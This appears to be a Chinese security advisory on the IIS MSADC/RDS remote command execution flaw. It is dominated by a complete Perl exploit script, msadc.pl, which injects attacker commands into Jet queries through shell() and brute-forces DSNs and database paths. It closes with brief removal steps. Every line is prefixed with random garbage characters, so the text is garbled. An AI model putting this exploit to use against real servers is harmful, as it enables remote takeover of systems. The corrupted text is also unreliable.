IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^G(U@-0.. j/ [V< 涉及程序：
C- 5QhD Microsoft NT server
!=Sc po_ 2(I S*idq 描述：
wtM1gYl^ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_4,/uG|a O CCDU5l$$ 详细：
DpQ\q; 如果你没有时间读详细内容的话，就删除:
=T!eyGE c:\Program Files\Common Files\System\Msadc\msadcs.dll
59Lc-JJ 有关的安全问题就没有了。
Y % 9$! f[}(E 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
fk&>2[^& 4j|IG/m 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
y'L7o
V?L9 关于利用ODBC远程漏洞的描述，请参看:
FQ TAkkA_! ba-4V8w http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !E7J Dk''@ {o oztC 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
FD'yT8]" http://www.microsoft.com/security/bulletins/MS99-025faq.asp cl04fqX #ZkT![ ` 这里不再论述。
| P0!dt7sQ A(eB\qG 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
ZSWZz8 ;gGq\c /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Zzn
N"Si, 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
wxJu=#!M ~ Y/:]&wF OEw#;l4 C #将下面这段保存为txt文件，然后: "perl -x 文件名"
|PtfG2Ty? %lq[,6?>5 #!perl
3c%_RI. #
m^%@bu, # MSADC/RDS 'usage' (aka exploit) script
e&nE #
f+ !k:}K # by rain.forest.puppy
)Fgu' #
y0f:N
U # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
k,eo+qH.Hz # beta test and find errors!
} ChS cY |
|"W=E use Socket; use Getopt::Std;
-*A1[Z ? getopts("e:vd:h:XR", \%args);
}1
,\ *)5 .^dtdFZ8, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
\&_pI2X po\(O8#5U if (!defined $args{h} && !defined $args{R}) {
`=V p 0tPI print qq~
k? Kt*T Usage: msadc.pl -h <host> { -d <delay> -X -v }
/q,v Q[ R/ -h <host> = host you want to scan (ip or domain)
D%} rQ,* -d <seconds> = delay between calls, default 1 second
j*\oK@ -X = dump Index Server path table, if available
?lE&o w -v = verbose
[*C%u_h -e = external dictionary file for step 5
WD55( x 8w l Or a -R will resume a command session
2##; [ +=:_a$98 ~; exit;}
n z|6 CP e@Mg9VwDc $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&@K6;T if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
b)eoFc)lc if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ayI<-s- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%oB0@ &!mS $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_h+7 K K if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
[QFAkEJ--o h0R.c|g[ if (!defined $args{R}){ $ret = &has_msadc;
IwXWtVL die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
kXV;J$1 G2<$to~{ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
a,36FF~& . "cmd /c ";
#_eXybUV $in=<STDIN>; chomp $in;
L{&>,ww $command="cmd /c " . $in ;
b(oe^jeGz N5c*#lHI if (defined $args{R}) {&load; exit;}
4a0Ud !Qcs ~&? 57Sw*m print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
X J`*dgJ &try_btcustmr;
Xdi<V_!BC- qV9}N-sS print "\nStep 2: Trying to make our own DSN...";
NH;e |8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\ ZM5J A9lw^. print "\nStep 3: Trying known DSNs...";
eC"k-a8j+ &known_dsn;
|8p SMgN #+QJ5VI : print "\nStep 4: Trying known .mdbs...";
uI$n7 \G! &known_mdb;
~!S/{Un Llkh
kq_ if (defined $args{e}){
@F] w ]d print "\nStep 5: Trying dictionary of DSN names...";
SwsJ<Dq^z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
hraR:l
D eR4ib-nS print "Sorry Charley...maybe next time?\n";
OK)>QGl exit;
wz1nV} &?@[bD'T ##############################################################################
#|K{txC
e^em^1H(
% sub sendraw { # ripped and modded from whisker
X::@2{-@y sleep($delay); # it's a DoS on the server! At least on mine...
ny{S&f my ($pstr)=@_;
WMHYO JR socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Nyt*mbd5
{ die("Socket problems\n");
vh.-9e D if(connect(S,pack "SnA4x8",2,80,$target)){
Zb=;\l*& select(S); $|=1;
v4W q0>o print $pstr; my @in=<S>;
_CPj] m{ select(STDOUT); close(S);
>fMzUTJ4 return @in;
#K0/ >W } else { die("Can't connect...\n"); }}
)w~1VcnJEp tA^+RO4 ##############################################################################
`*cqT #1%ahPhR+ sub make_header { # make the HTTP request
RP$h;0EQG my $msadc=<<EOT
A@Q6}ESD POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Td,d9M User-Agent: ACTIVEDATA
4qQE9f xdY Host: $ip
"b402"& Content-Length: $clen
+.&P$`;TZj Connection: Keep-Alive
?%`Ph ?BZl !KJA)znx;( ADCClientVersion:01.06
Y(t /=3c[ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}]H7uC!t TE;f*! --!ADM!ROX!YOUR!WORLD!
KTt+}-vP^ Content-Type: application/x-varg
L@z[b^ Content-Length: $reqlen
(u ^8 =# r&Nh>6<&/ EOT
YO-B|f ; $msadc=~s/\n/\r\n/g;
e,{k!BXU#' return $msadc;}
ysZ(*K
n(? '$Z@oCY# ##############################################################################
[ )
0JI6 |||m5(`S sub make_req { # make the RDS request
VXi U5n^ my ($switch, $p1, $p2)=@_;
xe^M2$clb\ my $req=""; my $t1, $t2, $query, $dsn;
F53
.g/[ g0"xG}d if ($switch==1){ # this is the btcustmr.mdb query
iZ> P>x\ $query="Select * from Customers where City=" . make_shell();
p6NPWaBR
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_h4]gZ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!?_CIt$p akk*f+TD` elsif ($switch==2){ # this is general make table query
FAL#p$y} $query="create table AZZ (B int, C varchar(10))";
2*^=)5Gj-h $dsn="$p1";}
|JR`" nF` ZV:df 6S elsif ($switch==3){ # this is general exploit table query
~"0{<mMcX $query="select * from AZZ where C=" . make_shell();
.?rs5[th* $dsn="$p1";}
b+q'xn A=> *^Zt)U1$| elsif ($switch==4){ # attempt to hork file info from index server
Zn JJ-zP $query="select path from scope()";
NC!B-3?x $dsn="Provider=MSIDXS;";}
," 5HJA4 T [^&ZS]s elsif ($switch==5){ # bad query
EcX7wrl9x $query="select";
34X]b[^ $dsn="$p1";}
jygUf| EZ{{p+e ^ $t1= make_unicode($query);
5Pq6X $t2= make_unicode($dsn);
9od c : $req = "\x02\x00\x03\x00";
tK[o"?2y $req.= "\x08\x00" . pack ("S1", length($t1));
lwfM>%%N $req.= "\x00\x00" . $t1 ;
x1Y/^ks@2 $req.= "\x08\x00" . pack ("S1", length($t2));
@I|kY5' c $req.= "\x00\x00" . $t2 ;
wh8 ;:<| $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@67GVPcxl return $req;}
Y'jgp Vt 9mp`LT ##############################################################################
~CHcbEWk)W |EdEV*.ej sub make_shell { # this makes the shell() statement
n:B){'S return "'|shell(\"$command\")|'";}
jbq x7x <m^a
?q^ ##############################################################################
*1 !'ZfT; w)* H&8h@ sub make_unicode { # quick little function to convert to unicode
43y@9P0 my ($in)=@_; my $out;
`jR8RDD for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
4OLYB9HP_ return $out;}
n 7B2rRJH lK /4" & ##############################################################################
,aD~7QX1: @=P c{xp sub rdo_success { # checks for RDO return success (this is kludge)
v FQ]>n X my (@in) = @_; my $base=content_start(@in);
6W if($in[$base]=~/multipart\/mixed/){
s o1 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
/eU\ B^k return 0;}
KPDJ$,: a *
CXg.i ##############################################################################
/2E
Q:P k%u fgHl! sub make_dsn { # this makes a DSN for us
S&-F(#CF^ my @drives=("c","d","e","f");
-xLK/QAL print "\nMaking DSN: ";
l"
~
CAw; foreach $drive (@drives) {
a#+ $.e5 print "$drive: ";
|A ,.mOT my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
y{<js!au "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
8@+<W%+th . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
N-b'O`C $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
-hfkF+=U' return 0 if $2 eq "404"; # not found/doesn't exist
R\X;`ptT if($2 eq "200") {
\2[tM/+Bs foreach $line (@results) {
%-fS:~$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
p
%.Adxx } return 0;}
p<h( b C"h7$3 ##############################################################################
+~YoP> J =8Y D"1 sub verify_exists {
4,W,E4 7 my ($page)=@_;
#@w/S:KbJt my @results=sendraw("GET $page HTTP/1.0\n\n");
A' uaR? return $results[0];}
/= l!F' ooB9i No^ ##############################################################################
%-$
:/ N 5M 9o(Z\AF sub try_btcustmr {
9@lG{9id? my @drives=("c","d","e","f");
nj00g>:> my @dirs=("winnt","winnt35","winnt351","win","windows");
As5l36 M6 quPj foreach $dir (@dirs) {
6<
-Cpc print "$dir -> "; # fun status so you can see progress
6Y6t.j0vN. foreach $drive (@drives) {
Y1>OhHuN print "$drive: "; # ditto
RTbV!I $reqlen=length( make_req(1,$drive,$dir) ) - 28;
rx;;|eb, $reqlenlen=length( "$reqlen" );
~iiDy;" $clen= 206 + $reqlenlen + $reqlen;
iD%a ;] TG8 U=9qt my @results=sendraw(make_header() . make_req(1,$drive,$dir));
vfj{j=
G if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<h +@;/v: else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
(4RtoYWW 7!(/7U6rP ##############################################################################
-qvMMit%7 dT&u}o3X sub odbc_error {
G#f3
WpD my (@in)=@_; my $base;
X{i>Q_8> my $base = content_start(@in);
^*UtF9~%n if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
NOoF1kS+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
% dr*dA'
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lTN^c? $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1ljcbD)T; return $in[$base+4].$in[$base+5].$in[$base+6];}
_-#o[ >2[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
MQcIH2 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
uTz>I'f $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{*g{9` lb*;Z7fx<' ##############################################################################
" >h$(WCK thX4-'i sub verbose {
90Sras>F my ($in)=@_;
bQ
0Ab"+D return if !$verbose;
[e _csQ print STDOUT "\n$in\n";}
sU R5Q/Q FqG MHM\J ##############################################################################
i4WHjeo\ y P} |8x sub save {
_
M B/p my ($p1, $p2, $p3, $p4)=@_;
Y `$\o open(OUT, ">rds.save") || print "Problem saving parameters...\n";
50A\Y)i_mZ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
xe(7q1 close OUT;}
g2^{+,/^K iqB%sIP ##############################################################################
2!CL8hG5: $_eJ@L# sub load {
,CPAS}kS my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ez%:>r4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
?dv-`)S& @p=<IN>; close(IN);
~ Al3Dv9x $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@x
A^F%( $target= inet_aton($ip) || die("inet_aton problems");
:yi} CM4 print "Resuming to $ip ...";
Q3$DX, 8? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
lfd-!(tXD if($p[1]==1) {
v$JW7CKA $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#h9Gl@| $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
t ;PG my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8'qlg|{!~ if (rdo_success(@results)){print "Success!\n";}
&w`Ho)P else { print "failed\n"; verbose(odbc_error(@results));}}
(Uu5$ q( elsif ($p[1]==3){
eTw9 c }[ if(run_query("$p[3]")){
i eWXr4@: print "Success!\n";} else { print "failed\n"; }}
,!,M'<?" elsif ($p[1]==4){
=oiz@Q @H if(run_query($drvst . "$p[3]")){
y0?HZ Xq print "Success!\n"; } else { print "failed\n"; }}
qe
e_wx exit;}
cH :&S=>h r|
\"" ##############################################################################
YSfJUB!I o@[o6.B< sub create_table {
#4"eQ*.*" my ($in)=@_;
r4X\/ $reqlen=length( make_req(2,$in,"") ) - 28;
5.oY$tb( $reqlenlen=length( "$reqlen" );
:J x%K $clen= 206 + $reqlenlen + $reqlen;
&
@_PY my @results=sendraw(make_header() . make_req(2,$in,""));
Ku uiU=
(L return 1 if rdo_success(@results);
|yp^T my $temp= odbc_error(@results); verbose($temp);
)Spa
F)N8 return 1 if $temp=~/Table 'AZZ' already exists/;
D^p)` * return 0;}
"cjD-4 2 " ;T
a8 ##############################################################################
GNB'.tJ:0Y B Nb_ i H sub known_dsn {
* uccY_ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
2~ETu&R: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7PUy`H,& "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
@8aV*zjB "banner", "banners", "ads", "ADCDemo", "ADCTest");
7i02M~*uS 0 8k foreach $dSn (@dsns) {
` l'QAIo print ".";
*A}td8( next if (!is_access("DSN=$dSn"));
U,fPG/9 if(create_table("DSN=$dSn")){
vflC{,{=k> print "$dSn successful\n";
:M`~9MCRf if(run_query("DSN=$dSn")){
* } Z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sa Qo]6# print "Something's borked. Use verbose next time\n";}}} print "\n";}
&t_TLV 8T e} 7 !A ##############################################################################
dNqj | Vu :ec>[N~KG sub is_access {
<pKOFN%m my ($in)=@_;
~ q/~ u $reqlen=length( make_req(5,$in,"") ) - 28;
Qz2jV $reqlenlen=length( "$reqlen" );
/|h+,]<
> $clen= 206 + $reqlenlen + $reqlen;
YD9vWk \/ my @results=sendraw(make_header() . make_req(5,$in,""));
u$ci{< my $temp= odbc_error(@results);
)#hR}| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{,T= Siy return 0;}
k.)YFKi '0_W< lGB ##############################################################################
$ rbr&TJ T?jN/}qg sub run_query {
Eg2jexl my ($in)=@_;
)S`Yl;o L $reqlen=length( make_req(3,$in,"") ) - 28;
v"%> ms"n $reqlenlen=length( "$reqlen" );
r 9b(d] $clen= 206 + $reqlenlen + $reqlen;
Q[ H4l({E my @results=sendraw(make_header() . make_req(3,$in,""));
s,/C^ E return 1 if rdo_success(@results);
;<+Z}d/g9 my $temp= odbc_error(@results); verbose($temp);
K *1]P ar; return 0;}
0HbCT3g. *r9D+}Y(4 ##############################################################################
86?~ N LtKR15h, sub known_mdb {
a%6 =sqxE my @drives=("c","d","e","f","g");
X2,v'`U5& my @dirs=("winnt","winnt35","winnt351","win","windows");
Y -+ Kf5_[ my $dir, $drive, $mdb;
Qn- nO_JL my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3G^A^]h ]+w 27! # this is sparse, because I don't know of many
jG}nOI my @sysmdbs=( "\\catroot\\icatalog.mdb",
f8f3[O! x "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
yw7bIcs|#b "\\system32\\certmdb.mdb",
meThjCC "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Z
R~2Y?Wt9 1sJz`+\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#KHj.Vg "\\cfusion\\cfapps\\forums\\forums_.mdb",
2pSp(@ N3 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
a jM\\a? "\\cfusion\\cfapps\\security\\realm_.mdb",
M-+!z5 q~d "\\cfusion\\cfapps\\security\\data\\realm.mdb",
*qm>py`O "\\cfusion\\database\\cfexamples.mdb",
=dQF}-{! "\\cfusion\\database\\cfsnippets.mdb",
P9S)7&+DL "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
gd 7! +6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
~qTChCXP "\\cfusion\\brighttiger\\database\\cleam.mdb",
ka(3ONbG "\\cfusion\\database\\smpolicy.mdb",
={6vShG)m "\\cfusion\\database\cypress.mdb",
qkC{IBN92 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Q MX "\\website\\cgi-win\\dbsample.mdb",
#BH]`A J "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
X_rv} "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
H3iYE~^# ); #these are just
{S@,
, foreach $drive (@drives) {
h+YPyeAs foreach $dir (@dirs){
! g|[A7<| foreach $mdb (@sysmdbs) {
:qShP3 ^ print ".";
=t~] @?]1D if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
AL InJ{X print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5R Y-.c4} if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
i`}9VaUG print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
r9D
68*H } else { print "Something's borked. Use verbose next time\n"; }}}}}
*`Ge8?qC *lheF>^ foreach $drive (@drives) {
o62GEl25 foreach $mdb (@mdbs) {
(5hUoD r! print ".";
C9FAX$$^(Y if(create_table($drv . $drive . $dir . $mdb)){
<5h}\5#<j print "\n" . $drive . $dir . $mdb . " successful\n";
c7tO'`q$e if(run_query($drv . $drive . $dir . $mdb)){
c@j3L23B print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.~^A!t } else { print "Something's borked. Use verbose next time\n"; }}}}
lD#
yXLaC\ }
~~ p )_ }<'ki
; ##############################################################################
tv]9 n8v =*6H!b zX sub hork_idx {
9Nz}'a;?> print "\nAttempting to dump Index Server tables...\n";
8`I,KkWg
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
*W 04$N $reqlen=length( make_req(4,"","") ) - 28;
&,,:pL[ $reqlenlen=length( "$reqlen" );
n-dC !t
$clen= 206 + $reqlenlen + $reqlen;
Z` %^?My my @results=sendraw2(make_header() . make_req(4,"",""));
_tQM<~Y]u\ if (rdo_success(@results)){
l Yj$ 3 my $max=@results; my $c; my %d;
o nv0gb/J for($c=19; $c<$max; $c++){
V-63 $results[$c]=~s/\x00//g;
c2Y\bKeN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
e%7 #e%1s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|a'$v4dCF $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$HRl:KDdP~ $d{"$1$2"}="";}
yU~w Zjw foreach $c (keys %d){ print "$c\n"; }
"b)E H/ s } else {print "Index server doesn't seem to be installed.\n"; }}
Kz]\o"K 1@~ 1vsJ ##############################################################################
eG.s|0` "412w^5[T sub dsn_dict {
,k Fp%qNj open(IN, "<$args{e}") || die("Can't open external dictionary\n");
yio8BcXH54 while(<IN>){
(d .M} G $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
>Wd _?NaI next if (!is_access("DSN=$dSn"));
^7*zi_Q if(create_table("DSN=$dSn")){
W}R zn print "$dSn successful\n";
ClPE_Cfw~ if(run_query("DSN=$dSn")){
T w1 &<S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wRX#^;O9?> print "Something's borked. Use verbose next time\n";}}}
f]Rh<N$ print "\n"; close(IN);}
>LVGNicQ 3A! |M5 ##############################################################################
xxC 2 h3 p@@*F+ sub sendraw2 { # ripped and modded from whisker
wkJ@#jD*[ sleep($delay); # it's a DoS on the server! At least on mine...
g/w <T+v my ($pstr)=@_;
|#(y?! A ^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
cCG!X%9 die("Socket problems\n");
B,ao%3t if(connect(S,pack "SnA4x8",2,80,$target)){
6_;n bqY& print "Connected. Getting data";
[mG!-.ll open(OUT,">raw.out"); my @in;
'PTQ
S, E select(S); $|=1; print $pstr;
2f rwU~y while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Ju"c!vu~ close(OUT); select(STDOUT); close(S); return @in;
Q>G % *? } else { die("Can't connect...\n"); }}
wS|hc+1 hSj@<#b>F ##############################################################################
>` ` [[ll4| sub content_start { # this will take in the server headers
TFXKC l my (@in)=@_; my $c;
$+U 6c~^^ for ($c=1;$c<500;$c++) {
Dh68=F0 if($in[$c] =~/^\x0d\x0a/){
J7kqyo" if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
a3Xd~Q s else { return $c+1; }}}
{?}^H W9{ return -1;} # it should never get here actually
5'|W(yR} ;[:IC^9fv ##############################################################################
gA] 3h8 %w *(Z\ "o! sub funky {
GgtYO4, my (@in)=@_; my $error=odbc_error(@in);
~bw=;xF{3 if($error=~/ADO could not find the specified provider/){
wF*9%K'E print "\nServer returned an ADO miscofiguration message\nAborting.\n";
m mH
xPd exit;}
+Ur75YPh if($error=~/A Handler is required/){
X#fjIrn print "\nServer has custom handler filters (they most likely are patched)\n";
M>{*PHze0 exit;}
K d{o/R if($error=~/specified Handler has denied Access/){
;O <- 4$ print "\nServer has custom handler filters (they most likely are patched)\n";
|[)pQGw exit;}}
?YF2Uc8z%2 6|4ID" ##############################################################################
IJ7wUZp" Ir Y\Q) sub has_msadc {
^SIA%S3 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
\
# la8,+9 my $base=content_start(@results);
nJwP|P_ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
MG^YT%f return 0;}
FA%V>&; ` y#/P|| PM ########################
E<@N4%K_Q -'^:+FU KppYe9? 解决方案：
2 g5jGe*0 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/^WOrMR 2、移除web 目录: /msadc
